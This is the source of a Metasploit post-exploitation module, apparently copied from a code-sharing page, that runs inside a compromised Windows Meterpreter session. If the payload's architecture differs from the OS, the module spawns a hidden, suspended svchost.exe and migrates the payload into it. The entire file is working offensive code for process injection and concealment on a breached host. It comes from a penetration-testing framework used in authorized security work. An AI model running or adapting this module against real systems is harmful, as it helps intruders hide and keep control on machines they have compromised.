Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::Windows::Registry
8
  include Msf::Post::File
9
  include Msf::Post::Common
10
  include Msf::Post::Windows::Priv
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Architecture Migrate',
17
        'Description' => %q{
18
          This module checks if the meterpreter architecture is the same as the OS architecture and if it's incompatible it spawns a
19
          new process with the correct architecture and migrates into that process.
20
        },
21
        'License' => MSF_LICENSE,
22
        'Author' => ['Koen Riepe ([email protected])'],
23
        'References' => [''],
24
        'Platform' => [ 'win' ],
25
        'Arch' => [ 'x86', 'x64' ],
26
        'SessionTypes' => [ 'meterpreter' ],
27
        'Compat' => {
28
          'Meterpreter' => {
29
            'Commands' => %w[
30
              core_migrate
31
              stdapi_railgun_api
32
              stdapi_sys_process_execute
33
              stdapi_sys_process_getpid
34
            ]
35
          }
36
        }
37
      )
38
    )
39

40
    register_options(
41
      [
42
        OptString.new('EXE', [true, 'The executable to start and migrate into', 'C:\windows\sysnative\svchost.exe']),
43
        OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ]),
44
        OptBool.new('IGNORE_SYSTEM', [true, 'Migrate even if you have SYSTEM privileges', false])
45
      ],
46
      self.class
47
    )
48
  end
49

50
  def check_32_on_64
51
    apicall = session.railgun.kernel32.IsWow64Process(-1, 4)['Wow64Process']
52
    # railgun returns '\x00\x00\x00\x00' if the meterpreter process is 64bits.
53
    if apicall == "\x00\x00\x00\x00"
54
      migrate = false
55
    else
56
      migrate = true
57
    end
58
    return migrate
59
  rescue StandardError
60
    print_error('Railgun not available, this module only works for binary meterpreters.')
61
  end
62

63
  def get_windows_loc
64
    apicall = session.railgun.kernel32.GetEnvironmentVariableA('Windir', 255, 255)['lpBuffer']
65
    windir = apicall.split(':')[0]
66
    return windir
67
  end
68

69
  def do_migrate
70
    if check_32_on_64
71
      print_status('The meterpreter is not the same architecture as the OS! Upgrading!')
72
      newproc = datastore['EXE']
73
      if exist?(newproc)
74
        print_status("Starting new x64 process #{newproc}")
75
        pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid
76
        print_good("Got pid #{pid}")
77
        print_status('Migrating..')
78
        session.core.migrate(pid)
79
        if pid == session.sys.process.getpid
80
          print_good('Success!')
81
        else
82
          print_error('Migration failed!')
83
        end
84
      else
85
        print_error('The selected executable to migrate into does not exist')
86
        if datastore['FALLBACK']
87
          windir = get_windows_loc
88
          newproc = "#{windir}:\\windows\\sysnative\\svchost.exe"
89
          if exist?(newproc)
90
            print_status("Starting new x64 process #{newproc}")
91
            pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid
92
            print_good("Got pid #{pid}")
93
            print_status('Migrating..')
94
            session.core.migrate(pid)
95
            if pid == session.sys.process.getpid
96
              print_good('Success!')
97
            else
98
              print_error('Migration failed!')
99
            end
100
          end
101
        end
102
      end
103
    else
104
      print_good('The meterpreter is the same architecture as the OS!')
105
    end
106
  end
107

108
  def run
109
    if datastore['IGNORE_SYSTEM']
110
      do_migrate
111
    elsif !datastore['IGNORE_SYSTEM'] && is_system?
112
      print_error('You are running as SYSTEM! Aborting migration.')
113
    elsif datastore['IGNORE_SYSTEM'] && is_system?
114
      print_error('You are running as SYSTEM! You will lose your privileges!')
115
      do_migrate
116
    elsif !datastore['IGNORE_SYSTEM'] && !is_system?
117
      print_status('You\'re not running as SYSTEM. Moving on...')
118
      do_migrate
119
    end
120
  end
121
end
122

123